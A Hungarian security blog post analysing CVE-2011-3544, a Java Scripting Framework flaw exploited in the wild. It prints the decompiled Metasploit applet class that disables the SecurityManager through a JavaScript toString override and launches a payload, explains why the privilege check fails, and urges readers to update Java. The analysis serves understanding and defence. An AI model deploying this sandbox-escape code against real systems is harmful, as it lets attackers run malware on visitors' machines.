Tweets by @buherablog
profile for buherator at IT Security Stack Exchange, Q&A for IT security professionals

A BitBetyár Blog

Túljártál a nagyokosok eszén? Küldd be a mutatványodat! (e-mail a buherator gmailkomra jöhet)

Full-Disclosure / Névjegy / Coming out


Promó

H.A.C.K.

Címkék

0day (110) adobe (87) adobe reader (21) anonymous (26) apple (60) az olvasó ír (49) blackhat (20) botnet (22) bug (200) buherablog (44) buhera sörözés (39) bukta (49) deface (38) dns (22) dos (29) esemény (82) facebook (26) firefox (64) flash (33) gondolat (31) google (59) google chrome (36) hacktivity (37) hírek (117) incidens (224) internet explorer (88) iphone (35) java (50) jog (22) kína (21) kriptográfia (68) kultúra (21) linux (24) malware (43) microsoft (142) móka (48) mozilla (23) office (26) oracle (40) os x (43) patch (197) php (20) politika (31) privacy (58) programozás (22) safari (34) sql injection (62) windows (85) xss (77) Címkefelhő

Licensz

Creative Commons Licenc

Java exploit a vadonban

2011.11.30. 23:22 | buherator | 1 komment

A legutóbbi Open Academy-n is igyekeztem hangsúlyozni, hogy milyen remek dolog is egy Java sebezhetőség - bizonyos szempontból a platformfüggetlenség és a megbízhatóság a tervezési hibák esetében jobban érvényesül, mint bármilyen hétköznapi alkalmazás esetében... Mindezt megspékelve a különböző verziók egymás közti gyakori kibékíthetetlenségével - ami a frissítési kedv radikális visszaeséséhez vezet -, máris megkaptuk napjaink (egyik) legkedveltebb malware-terjesztő platformját.

A legújabb sláger a CVE-2011-3544 névre keresztelt darab, amit jelenleg is aktív támadások lebonyolításához használnak fel szerte a weben, fel is emelték emiatt a riasztási szintet az okosok. Az exploit idő közben bekerült az MSF-be (nem rég 4000$-ért osztogatták a fekete piacon a kódot), én pedig a kedvetekért visszafejtettem a modul lelkét képző osztályt, íme:

import java.applet.Applet;
import javax.script.Bindings;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;
import javax.script.ScriptException;
import javax.swing.JList;
import metasploit.Payload;

public class Exploit extends Applet
{
public void init()
{
try
{
ScriptEngine localScriptEngine = new ScriptEngineManager().getEngineByName("js");
Bindings localBindings = localScriptEngine.createBindings();
localBindings.put("applet", this);
Object localObject = localScriptEngine.eval( // innentől JavaScript
"this.toString = function() {"+
"java.lang.System.setSecurityManager(null);"+
"applet.callBack();"+
"return 'metasploit';};"+
"c = new Error();"+
"c.message = this;"+
"c", // idáig JavaScript
           localBindings);

JList localJList = new JList(new Object[] { localObject });
add(localJList);
} catch (ScriptException localScriptException) {
localScriptException.printStackTrace();
}
}

public void callBack() {
try {
Payload.main(null);
}
catch (Exception localException)
{
}
}
}

Nézzük, mi is történik! Ehhez segítségül ez a remek elemzés szolgálhat. Az exploit a Java Scripting Framework JavaScript implementációjának hibáját használja ki. Itt lényegében egy Javaban implementált JavaScript motorról beszélünk, ami többek között megengedi számunkra, hogy Java objektumokat kössünk JavaScript változókhoz, jó mi? Az ám, főleg mivel az így futtatott szkriptek nem tartoznak a SecurityManager hatáskörébe, így a keretrendszernek kell gondoskodnia arról, hogy mindenki rendesen viselkedjen. Ezt természetesen nem sikerült elsőre(?) tökéletesen megvalósítani.

Látható, hogy a turpisság a this.toString() JS metódusban történik, itt mondjuk meg ugyanis a Java Virtuális Gépnek, hogy bármit megtehetünk, valamint a Payload is innen kerül meghívásra. A this objektum ez után egy JS Error objektum message adattagjához rendelődik. Az eval() lefutása után a localObject már Java kódként tartalmazza a megadott JavaScriptet, ekkor a JS Error objektum egy Java NativeError objektummá alakul. A bökkenő ott van, hogy a message attributumot felhasználó NativeError.toString() metódus lefutásakor nem kerül ellenőrzésre az adott biztonsági kontextus, így az itt lévő kód pontosan a hívó jogosultságaival fog lefutni. A jogosultság ebben az esetben pedig a JList osztálytól "öröklődik", akiben, mint a javax.swing csomag tagjában, alapvetően megbízik a futtató környezet

Ha nem akarjátok beszívni a fenti rosszcsontot, frissítseek a legfrissebb Javára, tök mindegy, hogy Windows-on, Linux-on, Mac-en vagy bármilyen más rendszeren toljátok, ami Javát futtat!

Címkék: java bug malware

Kommentek:

A hozzászólások a vonatkozó jogszabályok  értelmében felhasználói tartalomnak minősülnek, értük a szolgáltatás technikai  üzemeltetője semmilyen felelősséget nem vállal, azokat nem ellenőrzi. Kifogás esetén forduljon a blog szerkesztőjéhez. Részletek a  Felhasználási feltételekben és az adatvédelmi tájékoztatóban.